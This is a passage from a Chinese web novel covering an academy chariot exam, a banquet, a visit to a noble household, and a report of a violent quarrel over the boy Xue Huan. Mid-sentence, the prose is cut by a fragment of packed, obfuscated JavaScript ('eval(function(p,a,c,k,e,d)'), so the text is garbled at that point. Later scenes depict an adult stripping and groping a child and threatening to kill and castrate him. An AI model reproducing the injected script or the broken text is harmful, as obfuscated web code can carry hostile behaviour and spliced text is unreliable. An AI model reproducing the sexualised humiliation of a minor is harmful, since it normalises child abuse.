平安对着花铁铁强装的背影,欣慰地点点头,觉得自从有了个更不懂事的万三,花铁铁就懂事了,果然人呐,全靠衬托。又忽然想到刚才就是花铁铁把我打了个半死,万三舍命冲上前去把我救下的,便乱了一下,最后只觉得一个赛过一个,哪个都不是省油的灯。 御车场上的大考,进行的如火如荼,热火朝天。 二十个学子,分成五批入场,四人一组,车马随机。 场上的学子精神抖擞。候场的学子们气定神闲,甚至轻松畅谈,对场上学子的表现,进行客观公正的评价。 御车大考,分为鸣和鸾,逐水曲,过君表,舞交衢,逐禽左。 一共四个场地,每个场地外有十位指定大考官打分,另场上每位学子跟有四位非指定考官打分,既每辆战车上随机两位监考官,再有随机两位监考官骑马随行。 考试核分,公开公平公正。 鸣和鸾,是指驭手驾车时,控制马车銮铃的节奏,这一项技能贯穿御车大考的始终,只要马车开始行进,考官便根据铃声的节奏开始计分扣分。 逐水曲,是驾车沿着崎岖陡折的水道,弯道,疾驰,甩尾,滑行而不失控,考察的是学子对复杂地形的高超驾驭能力。 过君表,是驾车精准通过上位者看台下辕门前设置的各种障碍,还能从容不迫地施行军礼,仪态端庄的展现高阶礼仪。 舞交衢,是模拟战场上的各种作战情势,由学宫学子扮演敌军,发动各种突袭埋伏,应考学子要在灵活驰骋中展现机动的战术:如何守,如何攻,如何突围,如何制敌…… 最后是驱禽左,展现曲折地形,战车高速行驶围猎时从左侧迫近驱赶猎物,辅助御车上的射手射猎,驱禽左平时围猎围的是动物,上了战场围的就是敌人,是军事和田猎的双项考察。车上的射手一般跟的都是自己的书僮,这时候拿着沾了红漆的无镞弓箭,随机射中一个猎物就可。 逐水曲那边场地泥泞,驱禽左都是各种动物,这两处场地没有搭建临近场地的看台凉亭,不过其他两处场地的看台凉亭,都建在地势较高之处,视野清晰,很方便观看这边的两个考试。 考试靠的就是临场发挥,便是平时辞文答辩的小考上也会有突发状况,何况是这种不确定因素众多的御车考试。 首先,越靠后出场,逐水曲这一场地越泥泞难行越要吃亏些,安插在得分点和扣分点的小旗子,也因为多次撞倒反复插拔,变得异常松动。 但这些状况,都不算什么。也许是前四场舞交衢的学子们被应考学子打得落花流水,心生不忿,或者最后一场他们才活动开筋骨或是怎样,反正他们突然异常勇猛,搞得堂邑夫最后四个出场的学子,在舞交衢这一场地的考试,和真正的战场无甚区别了。 唯一的区别就是他们使用的武器都是棍棒而已,并不能直接要人性命,但也不容小觑。 战车疾驰,他们打不到车上的人,就埋伏攻击马匹,驭手一边驾车,一边和副手执戟还击……场面一度太过激烈,几个骑马随行的监考官,都被迫与考生隔开,甚至有两个落下马来,随行车中的考官也都纷纷感觉不妙,神色紧张,小心躲闪…… 场边的大考官们也都神情各异,但并不做声响,只能依旧装作气定神闲的样子,硬着头皮完成考核打分的职责任务。 等考生突破重围,到了驱禽左,就更夸张了,动物们大概由于天气炎热,或者前几场考试的惊吓奔波,积压到了极限,忽然变得异常躁动,有些精神头一般的,胆子小的,之前几场考试老是躲在场边,这会儿说是为了考试公平,必须要撤下来,又没有特别温顺的动物了,便拉来了一群原本因为品种,性格,暴躁嗜血不适合考试的动物来,硬把数凑齐。 这些动物们,进入场地后便近乎失控,一般动物遇上战车驱赶,都是会躲避的,但这些动物,反而跟着马车狂吠撕咬……真是让人大开眼界!!! 骑马随行的考官虽都是训练有素的战马,又被冲散,隔绝在外不得近前,纷纷看向场外大考官,其他两个场地的大考官,因为已经完成打分,便也到驱禽左的场地观看考试情况。 场上的田世子叫苦不迭,他们寝室四人这次都考进了前二十,本来可以分开抽签上场的,但是李椒想和堂邑夫一个场次参考,较量一番,陈书也想和李椒堂邑夫比试一下看看差距,田世子一看,他们都一个场次,自己也一起吧。 御车考试是允许考生约定同场竞技的,所以他们就派田世子去抽一个签,决定出场顺序,结果田世子手气太臭,上来就抽了个二十,毋庸置疑地最后一场。 眼见得,陈约的箭都已经射完了,田男男因为战车颠簸,动物狂乱,总也找不到射中的机会,出于谨慎,保存实力,于是还剩了不少箭,但也没什么大用场,薛环和李墨香一箭未发,全凭驭手们的高超车技与动物们周旋。 不久马儿体力极速下降,动物们痴缠上来,田男男箭射完了,便学着陈约一起挥动长戟,但是他们之前在舞交衢时,太过奋勇杀敌,已经耗费了太多体力。 按照规定驱禽左这场考试,驭手只能驾车辅助射手,不能主动拿起武器进攻或者防守,想要摆脱动物只能依靠车技驱赶,于是这会儿看到陈约和田男男逐渐式微,陈书与田世子就有些慌了。堂邑夫和李椒还能熬,可他们再这么下去,一旦被动物反扑上来疯咬,马匹受惊或受伤,怕是会出事儿,往轻了说车翻马伤,往重了说,那就是车毁人亡…… 可田世子和陈书这时候退出考试,不仅严重失分,被判定不合格,使得考试中断,也一定会影响到堂邑夫和李椒的成绩,作为兄弟他们不能不讲义气,打算死撑到底。 场外的人也都提心吊胆,人们纷纷议论,是不是应该终止比赛。 但考场如沙场,学宫大考关乎考生本身及其整个家族的荣誉与发展。就算大家都看出危险,大考官们也不会为没发生的事故,勒令考试中断,他们可没那么大的本事,承担事后引发的一系列后果的责任。 就算真的出了人命,也有太子在场呢! 学宫大考,乃国家大政,从来都是一考定终身,如同春闱一样,不会因为意外原因突发事件,就重考,补考的,就算突发疾病死在考场,也要等考试结束,尸身才能离开贡院。 故而,不管发生什么事,上了考场,便一切只能尽人事,听天命。中断考试,此例断不能开,此风断不可长,天子也不能下旨,何况太子。 所以眼下,除非考生自己提出中断考试,否则一切听天由命。 堂邑夫和李椒又怎么会对田世子和陈书的窘境视而不见?拉缰引马过去与他们的战车并驾齐驱,战车不能靠得太近,但总算冲散了一些动物。 情势依然危机,堂邑夫和李椒,一边驾车驱逐,一边交换眼神,最后李椒大喊一声:勠力合围! 此时考试已不再是单独技艺上的较量,而是瞬息万变的沙场——他们是考场上的对手,日后真上了战场,便是生死相依的战友,李椒的一声令下,他们心头忽然涌上一种同仇敌忾的浓浓兄弟情。 四辆马车进退有度,合力协作,将动物们围绕驱逐,陈约和田男男得到喘息,薛环和李墨香纷纷拉弓射击带头扑咬战车的动物,虽然箭没有箭镞,但是他们技艺高超,专门射击那些动物的要害。驭手们驾着高速的马车,趁机将这些动物分隔开来,群龙无首,四散溃逃…… 受伤的动物被快速清理出考场救治,场上骚乱平息,这时四辆马车,分散开来,回到各自的轨道上,按照标准考试要求,将动物们驱赶至指定路径,完成考试。 考试结束,场边欢呼震天…… 御车大考的成绩,半个时辰后放榜。 众人等在榜前,我跑去薛环身边,薛环一把牵住我的手,我满心欢喜,紧紧贴了上去,他另一只手握上我的手,将我的手搭到他的臂弯上夹紧,我开心地摇晃着身子,很自然的抱上他的胳膊,将头靠在他的肩上…… ****** 不远处看着我们的花铁铁和平安,神色各异,围帽下的平安一脸姨妈笑,花铁铁酸不拉几的道:“就那几个动作,够我学一辈子的了,平安,还真让你说着了,那俩小屁孩,还果真是在谈什么劳什子的恋爱呢。” “好可爱哦。” “可爱个屁!” “我怎么有一种自家养的小白菜还没长成大白菜,就被小猪崽子拱了的感觉呢,心塞啊。”柳延年酸酸的,心揪着。扯着肠子一起疼。 “你可能和三三一样,把长安当自家小宝贝儿了,一般这种情况,老父亲是会难过的。”平安说着,一脸丈母娘看女婿越看越喜欢的样子。 柳延年瘪了瘪嘴,没说话。花铁铁也拧着眉头,没再言语。 “那小子不错,聪慧过人,天赋异禀,最重要是年龄相仿,看着怪般配的……”平安说着就顿住了,满脸伤感,最后摇着头,叹了口气。 堂邑夫排名第七,他的分都扣在最后一场的鸣和鸾上,最后一场他们四人的车铃确实乱了些,不过这个成绩,已经远远超出大家的预料,众人都很开心。 花小楼的姑娘们要给堂邑夫开庆功宴。 堂邑夫不好意思地推拒,说学宫大考并未完成,这时候庆祝不好。 平安和七皇子,柳延年也认为堂邑夫说的对,说半场开香槟不好,“还是等大考全都结束再庆祝,比较好。” “什么这不好那不好,什么半场香槟开不开,等什么等?”花铁铁觉得扫兴,剜了一眼堂邑夫,道:“真把自己当盘菜啊,大家伙儿就是找个由头开心一下子聚一下子,你还喘起来了,不去拉倒,姑娘们,咱们自己去庆祝孩子他爹考了个好成绩。走!” 花铁铁说着拉上平安就走,至于七皇子和柳延年,一个疯子一个傻子,她懒得计较,想来就来,不想来也没啥。 姑娘们簇拥着有些尴尬的堂邑夫,七嘴八舌:“进了学宫大考前二十,就是保准的紫袖学子,便已是顶尖的人物了,怎么就庆祝不得了?对对对,就是要庆祝,以后堂郎君每次考完了咱们都庆祝一番。庆祝到最后,说不定咱们堂郎君一不小心中了首冠,咱们都跟着一起去丰秋宴上庆祝呢,啊哈哈哈……” 男儿的意气风发,总是让姑娘们更加兴奋悸动,对未来充满期许。 而我,只想跟薛环一起。等他们想起来找我,我早就不见了踪迹。 姑娘们陆续上了马车,花铁铁环顾一周,奇怪道:“长安呢!?” 在马车上刚刚坐定的齐王闻言,立即探出车窗,道:“跟薛环一块儿骑马跑了。” 端坐在车里的惠王,淡定道:“朝南边去了。” 马车里的平安,摘围帽的手顿了顿,蹙了蹙眉头,等围帽摘下来,她已经面色如常,可心里对两位王爷的“告密”,感到有些不快。 心中不免腹诽:这两位王爷各种借口跟着长安,都住到家里来了,如今还要把花铁铁当枪使,借着她的手,将长安牢牢绑在身边吗?长安就不能有自己的空间吗?和喜欢的人一起出去玩玩怎么了?非得搁在眼皮子底下吗? 还有这个花铁铁,她自己想去干什么,和什么人在一起,玩什么,聊什么,长安从来不多过问。她反倒管长安管得跟老妈子管儿子似的。 平安想到这里,便隔着马车窗子,对花铁铁道:“铁铁,咱们还是及早进城吧,堂邑夫刚还约了田世子李公子陈公子一起,李公子和他关系才好些,长安不来就不来吧。” 花铁铁正牵来马匹,要去把长安找回来,听平安这么一说,才道李椒那个臭脾气青面脸也来参加晚上的庆功宴,想着今日他们四人在场上的险象环生,天衣无缝的合作,确实应该借着这机会彻底缓和一下关系。 她越想越觉得的是这么个道理,长安确实该回避一下,“对啊,这可是她大螳螂的庆功宴,除了这个原因,她没道理不参加。”花铁铁点点头道:“好吧,让她玩去吧,咱们先进城吧。” 惠王齐王略略失落。 时辰尚早,堂邑夫和李椒,陈书,田世子,一道先去了万园街清水小塘泡汤浴,洗去疲乏,还做了一个精油按摩,小憩了一会儿,然后又去了隔壁的台球园包间打了几场台球,包间是贵宾等级,绝对私密,他们一边打球一边复盘今日的御车大考。 李椒缓和了态度,但对堂邑夫依旧没有过多热情。可他已经开始思考自己长久以来那般行径去对待堂邑夫的合理性了。 今日堂邑夫在场上对他的指令完全听从,卖力合作,堂邑夫只是跟着韩燕熙学了三天,经过短期的不懈练习,就将御车技艺快速提高,今日场上的表现,堪称精湛超绝。 这让李椒有了新的认知,他不禁掂量起自己一直以来对堂邑夫的成见是否太过偏执,反观堂邑夫格局气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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斜对面的花铁铁夹了一块肉放进嘴里用力的嚼着,然后将筷子“啪”的放到桌子上,黑着脸看着我,仿佛在说你热脸贴他冷屁股干什么?那么好的东西,我辛辛苦苦用内力炼出来的。刚才我回来参加庆功宴,花铁铁还惊了一下,仿佛我是回来添乱的。这个傻子,李椒和堂邑夫好不容易缓和了,我不赶紧乘胜追击啊,我躲出去算怎么回事儿。 花铁铁知道我就是单纯的忙中偷闲,见缝插针地跟着薛环溜出去玩儿以后,瞬间变脸,好在虞三娘子和平安拦住了她,不然她还要打我屁股。 “我~祖母时常念叨你,想念你,总盼着……你抽空来我家看看她吧。”李椒顿了顿,低声道:“明日可好?今晚我把这个交给她的时候,跟她说,她定是欢喜的。” 明日,“倒是有空,要不还是先别说了,万一我有事脱不开身呢?”我道。 “就去眼一看,不耽误什么功夫。就算有万一,你也抽空去看一眼吧。”李椒道:“我奶奶不喜欢惊喜,还是在上郡的时候,有一次,我外出做事,突然归家,她高兴又不高兴,说以后不许我给她惊喜。 她嘱托我以后要回家来,就提前叫人跟她说,早说一天,她就早欢喜一天,早说十天她就数着日子早欢喜十天。 我想她对你也是一样的心意,若你明日突然造访,她自是欢喜,可你坐一坐就走,你坐一刻钟她便纠结你一刻钟就走,你坐一上午她便纠结你过午就要走,哪里肯尽兴欢喜?还要怪罪我早不和她说。老人家就是这样的,盼着的时候才最是欢喜,所以有好事情,我要早早地和她说,你且体谅,不是我以此挟你,实在不能去,祖母也是理解的。” 有他这句话,我才好松口气,我真是给他吓怕了,一点不敢提前应承,生怕又因为什么突发事件爽约,又给他逮着把柄,把我恨毒了。 “好吧,你和老夫人说吧,嗯,我明日给七皇子制好药就去府上拜访,我喜欢李妈妈做的手擀面,明日我去府上,赏我一碗吧。”我软软糯糯的请求道。 李椒的冰块脸,难得舒缓融化开来,扯了扯嘴角,道:“什么赏不赏的,照旧管够。”说着他亮起的眼色瞬间一暗。 我丝毫不觉,只顾着开心道谢。 过了一会儿,李椒又道:“要不散了席,你就随我回家吧。”李椒想最好这就动身走,但是亲王皇子都在,他提前离席实在失礼。 “……”我抬头望着他,心中叹了口气,那时候他虽尚且年幼,但情窦初开,总是用情太深,我是无心的,但他因为我伤心狠了,偏执的以为我欺骗了他的感情,便总以为我对他不真诚。人啊,相信的能力是很脆弱的,一旦受到重创,是很难恢复的。 “你放心,我不会诓你的,你难得对我和颜悦色,我可不想再得罪你招你恨,你那么孝顺,老太太是你的逆鳞,我怎么会在拜访老太太这件事儿上戏耍你呢?再说老太太对我那么好,我理应早该去拜访她的,只是以前你厌恶我,我不敢去你府上叨扰而已,这回你松了口,我可不得上赶着去啊,我还怕你回头变了卦,我倒去不成了。” 李椒被我说中心思,有些尴尬地清了清嗓子,道:“是我失礼了。”双手端起酒杯向我拱手示意,然后仰头一饮而尽,算是赔礼道歉。 也许是酒的作用,李椒喉间有一丝甜蜜,顺着滚烫的热流直击心房。侧头看着那张依旧稚嫩的脸,一股苦涩又瞬间涌了上来,他假意擦着嘴角的酒水做掩饰,不着痕迹的叹了口气。 第二日一早我就给七皇子配好了最后一剂药,服侍他喝下,这一次他并没有昏睡,精神头反倒很足,便跟着花铁铁郑清他们在书芳园上课,我和平安一起去忠义侯府拜谒。 将平安介绍给老夫人,便给老夫人请了平安脉,她身子十分硬朗康健,我道长命百岁不是问题。 老夫人哈哈笑道,“这还多亏了你啊,前些年在上郡,你总是给我捶肩捏背到天亮,以前只感动你孝心,后来才知道你那是暗中给我治病,怕我瞧出端倪,就缓缓的治,这些年我这腰不酸了,腿不疼了,走路都有劲儿了,一口气儿种一步地不在话下,哩哩啦啦的小毛病再也没犯过,身子舒爽着呢,起初还以为是长安城的风水养人,离了上郡那苦寒之地,自然就好了,后得知你医术了得,前后一想就明白了,你这孩子,多纯良的心地啊,哈哈,老婆子我看人从不走眼。” 说着老夫人看了看平安,又看看我,再看着平安,仔细端详着我们俩,点点头笑道:“真是花儿一样的孩子,好哇好哇。” 我又给李妈妈把了把脉,都是些这个年纪常有的病痛,我如今公务繁忙,自不能亲自诊治,只先开了一个方子,回去叫我一个擅长此类病症的师侄,这段时间到忠义侯府上出诊,搭配我的方子,针灸推拿便可。 说起来,李家大公子李档的亲事定了,是陇西的良家子,老夫人下个月七十寿宴过了,忠义侯李远就上折子请封大公子侯爵世子,等朝廷正式册封完世子,他的婚事就提上来。 老夫人喜笑颜开的说着,这桩桩件件的喜事,除了册封世子典礼,其他两件事都是人情世故,都是要随礼掏钱的,她是隔着辈的长者,我们小辈间不曾拉过这等来往,拉不拉这个来往还要另说,如此,她也是不好直接开口邀请的,便只要我们平时多来走动,闲时常来看望她。 平安是个聪慧的,赶紧说:“这等好事儿,就算府上不发帖子给我们,我们也是硬要来讨寿饼,抢喜糖吃的。” “就是,我不光想带着妹妹来抢寿饼喜糖,还要把我结交的姐姐们都带来抢,沾沾老夫人的福气,也沾沾大公子的喜气,更沾沾侯府的贵气。我的那些姐姐们原是南唐放良的姑娘,先前在花小楼落脚,如今搬到芳园去了。”我一脸天真无邪的样子道。 这都是名门贵族圈子里,极为露脸的机会,寻常人花钱买路子都不一定能得到,得好好利用,不然也对不住花铁铁精心炼制的那两颗血菩提。 “好好好,欢迎姑娘们来我们府上赴宴。”老夫人笑道。 平安听了我的话原本惴惴,看到老夫人的反应,有些惊喜,问道:“老夫人不嫌弃她们吗?李家可是侯门贵胄……” “啊哈哈哈,我这老太太都没这些老观念,你这年纪轻轻的小姑娘,倒念这些老婆婆经。”老夫人笑道:“我们这代人从前都是泥腿子,不管我们家,这京城中的士族,多的往上数三代,少的数一代,谁家不是泥腿子出身? 倒是这些落了难的姑娘从前都是官家女,南唐那边的,出身倒高贵着呢,人家都遭了罪了,靠着自己的努力好容易赎了身,放了良,重获了清白自由,其中艰辛,同为女人想想便知道了,凭什么嫌弃人家啊。 她们要真能来我这里坐坐,我高兴,跟我说说南唐那边的风土人情,哎,说不定我一把岁数了,还能从她们身上见识见识老唐遗风呢,啊哈哈哈……” 不管是南唐还是北汉,老一辈人,总是对盛世老唐有着说不清道不明的向往和憧憬。 老夫人豁达,叫平安刮目相看,赞叹不已,我脸上也分外有光。常言道笑贫不笑娼,老夫人是既不笑贫也不笑娼,一把年纪,看事通透,不糊涂。 吃了午饭,又说了会儿话,我们就告辞了,老夫人送我们出了大门,给我们拿了一些李家庄子上新下来的时令水果,还有她跟李妈妈亲手做的糕点,再三嘱托我和平安常来家里玩。 回去路上,我和平安聊起李家来。 “什么门第,什么联姻,李家尊重这些,却也最不看重这些,也从不张罗这些,李家一门荣耀,都是男人们上阵杀敌,拼死挣回来的,稳固经营,也都靠着男人们在朝堂沙场的军功政绩,从不靠钻营内宅裙带这些东西做依仗。 甚至刻意规避这些。如果是个好姑娘,就算是养在府上的丫头,也三书六礼,娶进门来做正头娘子,从前李家是太守府,如今更贵为侯府,可李家的后院从来都是一顶一实打实的干净,妹妹这也是我今日带着你来一同拜谒老夫人的原因。 以后,你家郑清也该是位武将,你若能像老夫人一样,把这一大家子打理的清平安乐,那便是极好的了。以后你,经常到忠义侯府上来玩,正好他家新妇进门,你从旁瞧着,也跟着老夫人学学掌家的本事。” 平安点点头,颇为感叹似的,道:“李二公子对你好痴情啊,他哥都续弦啦,他还不议亲。” “什么跟什么啊?”我头一疼,道:“他不议亲是因为他李家的内功心法,保持童子金身,不卸元阳,能更加快速的晋升九品,跟我有什么关系。可别瞎猜乱说哈。” 平安吐了吐舌头。 “哎,我和他的事,你怎么知道的,花铁铁说的?”我瞬间怒发冲冠。 “别别别,先别生气,是我,是我先瞧出不对的,李二公子对你爱之深责之切的样子,我很难看不出的,我就跟堂邑夫打听,正好花铁铁撞见,就……”平安努力解释。 “她怎么和你说的?” 平安把她知道的关于我和李椒的事情说了一遍,我特么都没听出来那说的是我和李椒之间的事情。 之前江湖上流传的版本虽然离谱,但去除捕风捉影,起码还有个原来的样子。 “这是谁用我和李椒的名字写了个新话本子吧?”我脑瓜子嗡嗡的,“嗯……现在这个版本,还有谁知道?” 根据我的经验来看,谁知道,这个“话本子”就是谁参与酝酿的。 98. 失恋 “都……都……反正安园住的都知道,外面的谁还知道我就不知道了。” 嗷呦,我的天……一天天的,病的病,疯的疯,憨的憨,傻的傻……没一个让我省心的!!! 平安见我要发怒,立即反客为主,“我还想问你呢,你为什么跟花铁铁说,却不跟我说?”她有些吃醋。 “我那是要用秘密跟她换秘密(从而建立联盟,稳固关系),再说我跟李椒都是小时候的事儿了,他现在只管恨我,哪还有喜欢,他一个正了八经的大老爷们儿,又不是恋童癖,我小屁孩儿一个,他喜欢我什么?”我翻着白眼。“我和李椒那点事,清汤寡水的,我要真说给你听,你都不赖听。” “那花铁铁跟你换的秘密是什么?”平安凑过来,一脸八卦样子。 “你去问她啊,你什么问不出来。”我鼻子里哼气:“你都快赶上江湖有名的包打听了。她那点事你们稍微一脑补,再一润色,就比我这精彩。” 而且,我敢打包票,平安他们得到这么个大八卦素材以后,怎么也得兴奋地睡不着觉,茶余饭后颠过来倒过去,非说上几遍十几遍不可,每说一次,故事都更加丰富一些,他们要角色带入一下,加上他们各自的感情和视角,再互通有无一番,不久便又是一篇传世之作。 “嗷呦你说嘛你说嘛,你就告诉我嘛!”平安央求。 “不行,你警觉性不高,一弄就当着人面说漏嘴,这可大大不好,不仅把自己买了,还把朋友暴露了。” 平安想了想,点点头,“嗯,你说的对啊,花铁铁当初对我是千叮咛万嘱咐,结果我……好吧,你还是别和我说花铁铁的秘密了,我也不去跟她打听了,我一打听,她就知道我把她暴露了,以后我再想知道什么,她都不跟我说了。” “那不行,你得去,要不然她怎么知道我已经知道她暴露我秘密这件事的同时依旧坚决地替她保守秘密?她非得因此深感抱歉地来跟我道歉,还要对我坚守底线,守口如瓶,表示感恩和无比的崇敬,自叹弗如不可。”我义正言辞。 “嗷呦,你这小嘴儿怎么这么溜,这么拗口的话,你也不打磕。”平安说着捏了捏我的小嘴巴。 “嘴溜是因为脑子聪明。”我傲娇的扬了扬下巴。 “那聪明的你跟我说说你和薛环呗!”平安抱着我肩头,歪头看着我问。 “要不是你那嘴没个把门的,我早告诉你了。”我瞪了她一眼,道:“再等些日子吧,到时候把人都归拢到一块儿,我原原本本的告诉你们,省得你们互相扒问,传话传得乱七八糟,比谣言也不差了。” 我的谣还是我自己造吧,你们这些人,没一个我放心的,传得不到位我还算烧了个高香,就怕又传得天花乱坠面目全非,我真是领教了,唉,到时候还是我自己添油加醋编吧,啊,脑仁疼。 再过几日是高阳郡主和元欣郡主的及笄礼,安园竟然收到了请帖。打开一看,才知是给堂邑夫的,邀请他及家人共同渉宴。 御车大考,堂邑夫大放异彩,果然引起代政长公主和梁王那边势力的重视。官场上,权谋政治……不管什么,玩到底,其实就是争夺人才。不怕对方吃子多,就怕手下没人上,谁手里的棋子多,谁才能笑到最后。 翌日,花铁铁去芳园那边张罗各个宅院的园林布置,我进宫去给皇帝请了平安脉,正好有大儒进宫来给皇帝筵庭讲经。 皇帝处理政务,有前殿视朝,后殿再坐,内引奏式,经筵等等各种形式。 其中经筵是皇帝日程学习提升自己道德修养,政治能力和治国手段的重要方式。 文化殿中,大儒正在讲“仁政”、“民本”,皇帝、太子、重臣以及近侍认真听讲,还有负责记录的史官。 皇帝留我坐在末席最后面,跟着一起听课。不知为什么,我心里总是不安定,好像有什么事儿要发生。 果然一出宫,就看见郑清驾着安园的马车等在门口,郑清看见我,就把车里的平安叫出来,平安下了马车朝我飞奔过来,急急道:“长安长安,花铁铁把薛环揍了一顿,给薛环撵走了……” 我脑子一乱,心一提,嗓子眼一紧,却压着慌乱,强壮镇定地安抚着平安,“到马车上,慢慢说别着急。”这些事儿可不能在宫门口说。 郑清驾着马车行进,平安稳了稳心神,跟我叙述事语气还是有些急促,可见出了大事儿。 她先说,今日她和郑清柳延年他们去校场练习骑射,堂邑夫和薛环也在,本来花铁铁没去,他们一起练得很好很融洽。 后来花铁铁来了,就开始各种看薛环不顺眼,各种找薛环的不是,惹得薛环不痛快,就要离开。花铁铁就拦着他,偏不让他走,继续找茬。后来薛环就跟花铁铁打起来了。 “他俩打起来了?”我惊道。 平安点点头,说只是比招式,没动内力,可薛环有些本事在身上,光是比招数,花铁铁竟也得不着便宜,就恼羞成怒了。 花铁铁把拉架的堂邑夫也一起揍了几下出气,还质问他是不是把这些日子,他们俩对招拆招的武艺技法都交给了薛环,才使得薛环把她的招式都给破了。 花铁铁觉得她倾心相授的那些招数,是帮堂邑夫学宫大考上对敌的,他却交给薛环反制她,觉得堂邑夫跟她不是一条心,跟她留了后手…… “说正题!”我忍着心里的不安和焦躁。 “哦哦哦,说远了,还是说薛环吧。”平安慌张地擦了擦额角的汗,赶紧把话题拉回来,接着道:“花铁铁总归是个玄止境,用了内力,薛环一下子被花铁铁用膝盖死死制住压在地上,动弹不得。” 我紧张地抓住平安的双臂,问道:“他没吃亏吧,花铁铁没把他怎么样吧!?” 平安咬了咬嘴唇,急切道:“我眼瞧着薛环脸都紫了,都要背过气去了,就跪在他身边,趴下来,好言劝他要他服个软,可……可那孩子性子太犟,他如何都不肯,花铁铁气急,扬言就要把他弄死算完。” 我汗岑岑,这个死花铁铁,要真给我把他弄死了,我跟她没完。 “我劝阻花铁铁说不可以,叫她别跟孩子置气,还拿你出来警告她,说要是让长安知道了怕是不好,可我还没说完,花铁铁又炸了,她说她早看薛环那小子不顺眼,把她的长安天天勾搭的五迷三道,鬼迷日眼,魂不附体的,她早憋着一口气,现在忍够了,说一不做二不休,择日不如撞日,已经撕破脸了,今儿就干脆把薛环弄死,挫骨扬灰,毁尸灭迹,还把堂邑夫送她的红宝石压剥龙爪弯刀拿出来,让我们一人捅一刀,说活人她只信共犯,要想保守这个秘密,不叫你知道,就都得参与一下杀薛环。” 听到挫骨扬灰几个字,我只觉瞬间一阵耳鸣,浑身颤抖着,努力想听清楚平安的话。好一会儿,才恢复感知…… “我当时就吓哭了,那个样子的花铁铁果真是个女魔头,太嗜血太吓人了,真的好可怕……呜呜呜……堂邑夫和郑清上去阻拦花铁铁,给花铁铁一下子就把穴位封住动弹不得,我和柳延年有什么办法,只能一伙人都跪在地上,求求花铁铁不要那么疯癫,高抬贵腿放了薛环,也求求薛环好汉不吃眼前亏,服个软吧,叫他们都看在你的份儿上算了吧。 可是两个人都倔强到了宇宙的尽头,一百头一万头牛都拉不回来的势头,他俩僵在那里,我们可受不了了,我们不仅是风箱里的老鼠,那风箱两头还都是火,都是刀,他们俩哪是冲着彼此去的,根本活脱脱是冲着要我们的命来的……呜呜呜……” 平安气愤又委屈的哭起来,显然既受到了惊吓,又被逼迫的不轻,心里恨着呢。 赶车的郑清侧头提醒道:“还是赶紧说薛环的事吧。” “噢。”平安抹了抹眼泪,吸了吸鼻子继续说:“花铁铁还逼问薛环是不是喜欢你,薛环就说是,花铁铁就讽刺薛环毛都没长全,懂个屁,然后把他裤子扒了,嘲笑他还是个小白鸡儿,还没她小拇指长,就敢有色心,说着就要替他老子娘教训他,狠狠打薛环屁股。” 我心揪的都要淌血了,含泪哽咽着听平安继续说。 “花铁铁下手……可不轻,都打出血印子了,薛环依旧咬着牙说,他就是喜欢你,爱你,打死他他也爱你喜欢你,说不是年龄小就不懂爱,不是没长成就不会爱。 他说花铁铁这种肤浅愚钝的女人根本不懂也不配懂,薛环还说无论你什么样子他都喜欢你爱你,你一辈子这样,他就陪你一辈子,爱你一辈子,喜欢你一辈子…… 我听了都感动坏了,怪不得你喜欢薛环,这样的男孩子谁不喜欢不沦陷啊,我那时心里只感叹;长安你看人从来没错。 看着薛环如此痴情,我便跪着膝行上前拉着花铁铁,抱着她的腰叫她住手,提醒她打也打了,骂也骂了,闹够了,说要是她再不收手,我这辈子不理她不和她做姐妹了。 花铁铁还是顾念我们姐妹情深的,当即收了力气,给堂邑夫郑清解了穴道,柳延年也才得空把薛环从她膝盖底下拉出来。可是花铁铁嘴上还不依不饶,薅着薛环头发对他说:无论长安什么样子都喜欢的人多了,问他算老几,他有什么资格? 堂邑夫也叫薛环在你的事情上,先想想明白,说你们俩问题的关键,从来不是长安这样子有没有人喜欢,长安什么样子薛环都喜欢,不重要,重要的是他会长大,他会变样子。 所以现在不重要,将来无论他什么样子,他都喜欢你至死不渝,才重要。 我们听了觉得果然这才是关键,重点。 长安,我认为:你被人喜欢,是你本身就招人喜欢,不是因为别人有喜欢你的心情和能力。不该是你身有重疾,被人喜欢就成了奢侈,别人喜欢你,就是对你的恩赐。 薛环还是孩子,没有父母长辈教养,虽然有些人情世故,通达俗务,但男女之事上未免见识浅薄,太欠考虑,怕只是一时心动,实在不应该不管不顾信誓旦旦,奔赴你招惹你。 我想我们都是成年人,把他当自己弟弟看待,是应该劝教他在这些事情上,考虑的更多更全面一些,慎重行事。确保你不被他无心伤害…… 我这些话还没说完,花铁铁见薛环一脸不服气,就又嘲讽起他来。唉,也不怪花铁铁出言讥讽,我也有些看不惯薛环那副‘我笑他人看不穿’的样子。 可我也不赞成花铁铁的极端言行,花铁铁问薛环高傲什么?告诫他不要一副高高在上,以为喜欢你就有恩与你的狂傲,她骂薛环才是那个痴心妄想的癞哈蟆,别想吃天鹅肉,不然就骟了他,说他小小年纪进了学宫还不想着好好读书上进,就想着勾搭人家小姑娘,正好送他进宫做公公,断了他一辈子的念想才好。 原也只是气话,可花铁铁说这话的时候,她还,她还……” 我紧紧攥着小拳头,一番话听得身上虚汗淋漓,面色煞白,嘴唇麻木,平安忽然停顿,我简直要心肌梗死:“她还怎么了?!说!!” 平安打了一个激灵,急忙回答道:“她又扒了薛环裤子,捏,捏着薛环小鸡儿扯了扯……” 我要杀了花铁铁!!!!!!我喘着粗气,满脸阴沉狠厉,杀气四泄,整个车厢犹如冰室。 平安只觉很是虚寒,不禁瑟瑟发抖,“长安,你先别……花铁铁确实是实在太过分了,都说士可杀不可辱……薛环毕竟是个男孩子,这样凌辱,谁受得了,所以……薛环就生气,走,走了……我们去拦,没赶上,说来也奇怪,那孩子进了林子,忽然就不见了踪影……” “哇……”我听了全部原委,忽然浑身无力,只得仰头大哭。 他是受辱走的,此事根本没有转圜的机会和余地,他必定不会回头了。花铁铁,我恨死你了,我要杀了你,我要和你的血,啃你的肉…… 平安抱着我一起痛哭,她心疼我,看着我伤心难过,她也难受:“长安,好长安,你别哭,别哭,别伤心别难过啊,一个不懂事的半大小子而已,我倒觉得他离开倒好,那孩子太奇怪,来无影去无踪的,到现在身世底细也说不出个所以然来,到底跟咱们不交心,就不是一路人……” 这是劝人放下执念的一种方法,平安企图找一些薛环的不是和缺点,让我意识到薛环的不值得,从而来减轻我内心上的伤痛、煎熬。 